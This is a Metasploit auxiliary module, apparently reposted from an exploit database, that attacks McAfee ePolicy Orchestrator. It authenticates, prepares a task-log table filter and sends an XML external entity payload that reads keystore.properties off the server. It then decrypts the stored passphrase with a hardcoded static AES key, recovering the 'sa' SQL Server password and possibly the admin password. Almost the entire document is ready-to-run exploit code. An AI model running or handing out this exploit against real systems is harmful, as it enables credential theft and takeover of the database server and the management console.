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# McAfee ePolicy Orchestrator Authenticated XXE Credential Exposure

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'openssl'

class Metasploit3 < Msf::Auxiliary

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'McAfee ePolicy Orchestrator Authenticated XXE Credentials Exposure',
'Description' => %q{
This module will exploit an authenticated XXE vulnerability to read the keystore.properties
off of the filesystem. This properties file contains an encrypted password that is set during
installation. What is interesting about this password is that it is set as the same password
as the database 'sa' user and of the admin user created during installation. This password
is encrypted with a static key, and is encrypted using a weak cipher at that (ECB). By default,
if installed with a local SQL Server instance, the SQL server is listening on all interfaces.

Recovering this password allows an attacker to potentially authenticate as the 'sa' SQL Server
user in order to achieve remote command execution with permissions of the database process. If
the administrator has no changed the password for the initially created account since installation,
the attacker also now has the password for this account. By default, 'admin' is recommended.

Any user account can be used to exploit this, all that is needed is a pair of credentials.

The most data that can be successfully retrieved is 255 characters due to length restrictions
on the field used to perform the XXE attack.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Brandon Perry <bperry.volatile[at]gmail.com>', #metasploit module
],
'References' =>
[
],
'DisclosureDate' => ''
))

register_options(
[
Opt::RPORT(8443),
OptBool.new('SSL', [true, 'Use SSL', true]),
OptString.new('TARGETURI', [ true, "Base ePO directory path", '/']),
OptString.new('FILEPATH', [true, "The filepath to read on the server", "C:/Program Files
(x86)/McAfee/ePolicy Orchestrator/Server/conf/orion/keystore.properties"]),
OptString.new('USERNAME', [true, "The username to authenticate with", "username"]),
OptString.new('PASSWORD', [true, "The password to authenticate with", "password"])
], self.class)

end

def run
key = "\x5E\x9C\x3E\xDF\xE6\x25\x84\x36\x66\x21\x93\x80\x31\x5A\x29\x33" #static key used

aes = OpenSSL::Cipher::Cipher.new('AES-128-ECB') # ecb, bad bad tsk
aes.decrypt
aes.padding=1
aes.key = key

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'core', 'orionSplashScreen.do')
})

cookie = res.get_cookies

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'core', 'j_security_check'),
'method' => 'POST',
'vars_post' => {
'j_username' => datastore['USERNAME'],
'j_password' => datastore['PASSWORD']
},
'cookie' => cookie
})

cookie = res.get_cookies

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'core', 'orionSplashScreen.do'),
'cookie' => cookie
})

if res.code != 302
fail_with(Failure::Unknown, 'Authentication failed')
end

cookie = res.get_cookies

#This vuln requires a bit of setup before we can exploit it

print_status("Setting up some things...")

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'core', 'orionNavigationLogin.do'),
'cookie' => cookie
})

auth_token = $1 if res.body =~ /id="orion.user.security.token" value="(.*)"\/>/

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'core', 'orionTab.do'),
'vars_get' => {
'sectionId' => 'orion.automation',
'tabId' => 'orion.tasklog',
'orion.user.security.token' => auth_token
},
'cookie' => cookie
})

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'core', 'loadTableData.do'),
'vars_get' => {
'datasourceAttr' => 'scheduler.tasklog.datasource.attr',
'filter' => 'scheduler.tasklog.filter.day',
'secondaryFilter' => '',
'tableCellRendererAttr' => 'taskLogCellRenderer',
'count' => 44,
'sortProperty' => 'OrionTaskLogTask.StartDate',
'sortOrder' => 1,
'id' => 'taskLogTable'
},
'cookie' => cookie
})

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'core', 'orionEditTableFilter.do'),
'vars_get' => {
'datasourceAttr' => 'scheduler.tasklog.datasource.attr',
'tableId' => 'taskLogTable',
'orion.user.security.token' => auth_token
},
'cookie' => cookie
})

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'core', 'orionTableUpdateState.do'),
'method' => 'POST',
'vars_post' => {
'dataSourceAttr' => 'scheduler.tasklog.datasource.attr',
'tableId' => 'taskLogTable',
'columnWidths' => '285,285,285,285,285,285,285,285',
'sortColumn' => 'OrionTaskLogTask.StartDate',
'sortOrder' => '1',
'showFilters' => 'true',
'currentIndex' => 0,
'orion.user.security.token' => auth_token,
'ajaxMode' => 'standard'
},
'cookie' => cookie
})

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'core', 'loadDisplayType.do'),
'method' => 'POST',
'vars_post' => {
'displayType' => 'text_lookup',
'operator' => 'eq',
'propKey' => 'OrionTaskLogTask.Name',
'instanceId' => 0,
'orion.user.security.token' => auth_token,
'ajaxMode' => 'standard'
},
'cookie' => cookie
})

print_status("Sending payload...")

xxe = '<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY
><!ENTITY xxe SYSTEM "file:///'+datastore['FILEPATH']+'" >]><conditions><condition
grouping="or"><prop-key>OrionTaskLogTaskMessage.Message</prop-key><op-key>eq</op-key&g
t;<value>&xxe;</value></condition></conditions>'

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'core', 'orionUpdateTableFilter.do'),
'method' => 'POST',
'vars_post' => {
'orion.user.security.token' => auth_token,
'datasourceAttr' => 'scheduler.tasklog.datasource.attr',
'tableId' => 'taskLogTable',
'conditionXML' => xxe,
'secondaryFilter' => '',
'op' => 'eq',
'ajaxMode' => 'standard'
},
'cookie' => cookie
})

print_status("Getting encrypted passphrase value from keystore.properties file...")

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'core', 'orionEditTableFilter.do'),
'vars_get' => {
'datasourceAttr' => 'scheduler.tasklog.datasource.attr',
'tableId' => 'taskLogTable',
'orion.user.security.token' => auth_token
},
'cookie' => cookie
})

passphrase = $1 if res.body =~ /passphrase=(.*?)\\u003/

passphrase = passphrase.gsub('\\\\=', '=').gsub("\\u002f", "/").gsub("\\u002b",
"+")

print_status("Base64 encoded encrypted passphrase: " + passphrase)

passphrase = aes.update(Rex::Text.decode_base64(passphrase)) + aes.final

print_good("The decrypted password for the keystore, 'sa' SQL user (if using local instance), and possibly
'admin' is: " + passphrase)

end
end

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# Iranian Exploit DataBase = http://IeDb.Ir [2015-01-08]

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